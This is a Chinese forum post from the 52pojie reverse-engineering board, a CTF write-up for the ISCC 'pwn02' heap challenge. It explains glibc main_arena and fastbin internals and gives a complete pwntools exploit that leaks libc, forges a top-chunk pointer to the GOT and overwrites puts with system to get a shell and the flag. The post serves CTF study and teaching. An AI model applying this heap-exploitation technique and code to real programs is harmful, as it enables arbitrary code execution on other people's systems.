

[登录](#)[注册\[Register\]](#)[网站](#)[新帖](#)[搜索](#)[快捷导航](#)

请输入搜索内容

[搜索](#)[网站](#)[【 软件安全 】](#)[『脱壳破解区』](#)[返回列表](#)

[CTF] isccpwn2[不能获取索引地址空间的堆溢出] (main_arena结构,got表存放) [\[复制链接\]](#)

深_蓝 2019-6-3 12:15

[楼主](#) [电梯直达](#)

本帖最后由 深_蓝 于 2019-6-5 11:25 编辑

[pwn02.zip](#) (4.78 KB, 下载次数: 1)

main_arena里面的内容

```
pwndbg> x /20xg 0x7fed08ed9af0
```

```
0x7fed08ed9af0 <_IO_wide_data_0+304>: 0x00007fed08ed8260 0x0000000000000000
```

```
0x7fed08ed9b00 <__memalign_hook>: 0x00007fed08b9ae20 0x00007fed08b9aa00
```

```
0x7fed08ed9b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 这里是hook函数
```

```
0x7fed08ed9b20 <main_arena>:0x0000000000000000 0x0000000000000000 0x10,0x20
```

```
0x7fed08ed9b30 <main_arena+16>: 0x0000000000000000 0x0000000002181050 0x30,0x40
```

```
0x7fed08ed9b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x50,0x60
```

```
0x7fed08ed9b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x70,0x80
```

```
0x7fed08ed9b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 unsortedbin,
smallbins
```

```
0x7fed08ed9b70 <main_arena+80>: 0x0000000000000000 0x000000000600dd0 largebins,
topchunk
```

```
0x7fed08ed9b80 <main_arena+96>: 0x0000000000000000 0x00007fed08ed9b78
```

申请空间会从main_arena对应的地址处申请空间。

如申请0x40的chunk会从0x0000000002181050申请。如果申请0x50的chunk，因为对应位置处为0，所以从topchunk (0x000000000600dd0) 申请。

桥黑板：使用topchunk的好处是不必关心size的问题，直接申请。

利用过程：

1.通过堆溢出申请到任意的空间，free之后在next_chunk位置处写入size。

2.通过free把这个size写入到main_arena中

3.有了2写入的size可以申请到main_arena的地址空间，可以设置topchunk的指针，修改为got表的地址(这个地址在bss段，stdin,stdout,stderr前面)

4.然后从topchunk申请空间就能申请到这个地址(0x000000000600dd0)的空间实现腹泻got表。

[img=415,167]blob:<https://www.52pojie.cn/1daf85e7-a07c-41e2-8d14-8c19a8eafbb1>[/img]

例题

pwn02 checksec pwn02

'/home/tower/1t/u18/\xe8\xae\xb2\xe8\xaf\xbe/\xe9\x83\x91\xe5\xb7\x9e\xe5\xb7\xa1\xe8\xae\xb2/pwn02/pwn02'

Arch: amd64-64-little

RELRO: No RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)

只开启了NX保护

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
```

```
{
```

```
    int *v3; // rsi
```

```
    __int64 v4; // rdx
```

```
    int v5; // ebx
```

```
    char *ptr[10]; // [rsp+0h] [rbp-70h]
```

```
    int sz; // [rsp+54h] [rbp-1Ch]
```

```
    int idx; // [rsp+58h] [rbp-18h]
```

```
    int cmd; // [rsp+5Ch] [rbp-14h]
```

```
    setvbuf(stdout, 0LL, 2, 0LL);
```

```
    v3 = 0LL;
```

```
    memset(ptr, 0, 0x50uLL);
```

```
    puts("1. malloc + gets\n2. free\n3. puts");
```

```
    while ( 1 )
```

```
    {
```

```
        while ( 1 )
```

```
        {
```

```
            printf("> ", v3);
```

```
            v3 = &cmd;
```

```
            __isoc99_scanf("%d %d", &cmd, &idx);
```

```
            v4 = (unsigned int)(idx % 10);
```

```
            idx %= 10;
```

```
            if ( cmd != 1 )
```

```
                break;
```

```
            v3 = &sz;
```

```
            __isoc99_scanf("%d%c", &sz, v4);
```

```
            v5 = idx;
```

```
            ptr[v5] = (char *)malloc(sz);
```

```
            gets(ptr[idx]);
```

```
        }
```

```
        if ( cmd == 2 )
```

```
        {
```

```
            free(ptr[idx]);
```

```
        }
```

```
        else
```

```
        {
```

```
            if ( cmd != 3 )
```

```
                exit(0);
```

```
            puts(ptr[idx]);
```

```

    }
}
}

```

堆溢出，free函数没有检查还有double free，但是没有提供edit项。

0x01 leak

泄露main_arena地址（在smallbin被free的时候会在fd，bk里面写入main_arena和nextchunk的地址，也就是连接成双向链表）https://blog.csdn.net/qq_38204481/article/details/82318227

```

malloc_chunk(0,0x30,'aaaa')
malloc_chunk(1,0x30,'bbbb')
malloc_chunk(2,0x100,'AAAA')
malloc_chunk(3,0x30,'/bin/sh\x00')
free_chunk(2)
puts_chunk(2)
main_arena=u64(r.recvuntil("\n",drop=True).ljust(8,'\x00'))-88
success("main_arena ==> "+hex(main_arena))

```

0x02在main_arena中设置合适的size

```

free_chunk(1)
free_chunk(0)
payload='A'*0x30
payload+=p64(0x40)+p64(0x41)
payload+=p64(0x60)
malloc_chunk(4, 0x30,payload)

```

```

malloc_chunk(5,0x30,'A')
[img=415,261]blob:https://www.52pojie.cn/8bfacc94-a0d0-40d4-913a-06aef0e3d9ba[/img]

```

如上图这是一种常用的堆攻击方式free2个chunk会连成如上图最左边结构。

经过1次malloc之后就能让fastbin指向my_addr也就是可以再main_arena中写入size。

0x03申请到topchunk空间

```

malloc_chunk(6,0x50,'aaaa')
malloc_chunk(7,0x50,'bbbb')
free_chunk(7)
free_chunk(6)
payload='A'*0x50
payload+=p64(0x60)+p64(0x61)
print hex(fake_chunk)
payload+=p64(fake_chunk)

```

```

malloc_chunk(8,0x50,payload)
malloc_chunk(9,0x50,'A')
payload='\x00'*0x38
payload+=p64(0x000000000600DD8-8)#puts_got
malloc_chunk(1,0x50,payload)

```

跟0x02一样的手法把上次设置的size作为这次的size。

然后把puts函数的got表地址写入到topchunk上

0x04复写got表

```
free_chunk(5)
free_chunk(4)
```

```
malloc_chunk(0,0x30,'A'*0x30+p64(0x40)+p64(0x41)+p64(0)) #这里为了设置bins里面为0, 保证从
topchunk中申请
malloc_chunk(0,0x30,'A')
```

```
malloc_chunk(2,0x30,'\xb0\x06\x40\x00\x00\x00')#system_addr
puts_chunk(3)
```

exp.py

```
#!/usr/bin/python
#coding=utf-8
from pwn import *
r = process('./pwn02')
r = remote("39.100.87.24",8102)
context.terminal=["tmux","splitw","-h"]
def debug():
    gdb.attach(r,'''
    b *0x00000000040096F
    b *0x0000000004009AD
    b *0x00000000040098E
    ''')
def malloc_chunk(idx,size,content):
    r.recvuntil('> ')
    r.sendline('1')
    r.sendline(str(idx))
    r.sendline(str(size))
    r.sendline(str(content))

def free_chunk(idx):
    r.recvuntil('> ')
    r.sendline('2')
    r.sendline(str(idx))

def puts_chunk(idx):
    r.recvuntil('> ')
    r.sendline('3')
    r.sendline(str(idx))
    #return hex(u64(r.recvline("\n")[:-1]).ljust(8,'\x00'))

#####leak
malloc_chunk(0,0x30,'aaaa')
malloc_chunk(1,0x30,'bbbb')
malloc_chunk(2,0x100,'AAAA')
malloc_chunk(3,0x30,'/bin/sh\x00')
free_chunk(2)
puts_chunk(2)
main_arena=u64(r.recvuntil("\n",drop=True).ljust(8,'\x00'))-88
```

```
success("main_arena ==> " + hex(main_arena))
```

```
fake_chunk=main_arena+0x18-0x10+8 #top chunk
free_chunk(1)
free_chunk(0)
payload='A'*0x30
payload+=p64(0x40)+p64(0x41)
payload+=p64(0x60)
malloc_chunk(4, 0x30,payload)
```

```
malloc_chunk(5,0x30,'A')
malloc_chunk(0,0x100,'A')
malloc_chunk(6,0x50,'aaaa')
malloc_chunk(7,0x50,'bbbb')
free_chunk(7)
free_chunk(6)
payload='A'*0x50
payload+=p64(0x60)+p64(0x61)
print hex(fake_chunk)
payload+=p64(fake_chunk)
```

```
malloc_chunk(8,0x50,payload)
malloc_chunk(9,0x50,'A')
payload='\x00'*0x38
payload+=p64(0x000000000600DD8-8)#puts_got
malloc_chunk(1,0x50,payload)
free_chunk(5)
free_chunk(4)
```

```
malloc_chunk(0,0x30,'A'*0x30+p64(0x40)+p64(0x41)+p64(0))
malloc_chunk(0,0x30,'A')
```

```
malloc_chunk(2,0x30,'\xb0\x06\x40\x00\x00\x00')#system_addr
puts_chunk(3)
r.interactive()
```




```
root@root:~/桌面/exp# python untitled.py
[+] Starting local process './pwn02': pid 5445
[+] Opening connection to 39.100.87.24 on port 8102: Done
[+] main_arena ==> 0x7ffff7dd1b20
0x7ffff7dd1b30
[*] Switching to interactive mode
flag{2c9c6bd8-c285-43b7-ac8a-f74eb9a7cb2f} 吾爱破解论坛
www.52pojie.cn
> $
```

```
flag{2c9c6bd8-c285-43b7-ac8a-f74eb9a7cb2f}
```

[72DB82B0F20A1945CECDC8FD7C248C4A.png](#) (25.65 KB, 下载次数: 0)

```
root@root:~/桌面/exp# python untitled.py
[+] Starting local process './pwn02': pid 5445
[+] Opening connection to 39.100.87.24 on port 8102: Done
[+] main_arena ==> 0x7ffff7dd1b20
0x7ffff7dd1b30
[*] Switching to interactive mode
flag{2c9c6bd8-c285-43b7-ac8a-f74eb9a7cb2f} 吾爱破解论坛
www.52pojie.cn
> $
```

免费评分

| | 吾爱币 | 热心值 | 理由 | 收起 |
|--|-----|-----|------------|----|
|  sdrz_yyf | + 1 | + 1 | 谢谢@Thanks! | |

[查看全部评分](#)

 收藏 1  淘帖

发帖前要善用【论坛搜索】功能，那里可能会有你要找的答案或者已经有人发布过相同内容了，请勿重复发帖。

[回复](#) [举报](#)

 **Hmily** 2019-6-3 15:49 [沙发](#)
图片用的是什么地址，都不对了

【吾爱破解论坛总版规】 - [让你充分了解吾爱破解论坛行为规则]

[回复](#) [支持](#) [举报](#)

 **深蓝** 2019-6-4 15:17 [3#](#)
吾爱破解论坛没有任何官方QQ群，禁止留联系方式，禁止任何商业交易。

Hmily 发表于 2019-6-3 15:49
图片用的是什么地址，都不对了

后面调试的时候忘记修改了🙄

点评

Hmily 现在把你文章编辑好吧。 [详情](#) [回复](#) 发表于 2019-6-4 15:26

[如何升级？如何获得积分？积分对应解释说明！](#)

回复

支持

举报

 **Hmily** 2019-6-4 15:26 4#

《站点帮助文档》有什么问题来这里看看吧，这里有你想知道的内容！

深_蓝 发表于 2019-6-4 15:17
后面调试的时候忘记修改了

现在把你文章编辑好吧。

呼吁大家发布原创作品添加吾爱破解论坛标示！

回复

支持

举报

 **Hmily** 2019-6-12 19:12 5#

@深_蓝 好像还是没编辑好？

如何快速判断一个文件是否为病毒！

回复

支持

举报

返回列表

高级模式

您需要登录后才可以回帖 登录 | 注册[Register]  用QQ帐号登录

发表回复

警告：禁止回复与主题无关内容，违者重罚！

☐ 回帖并转播

☐ 回帖后跳转到最后一页

免责声明：
吾爱破解所发布的一切破解补丁、注册机和注册信息及软件的解密分析文章仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。
Mail To:Service@52PoJie.Cn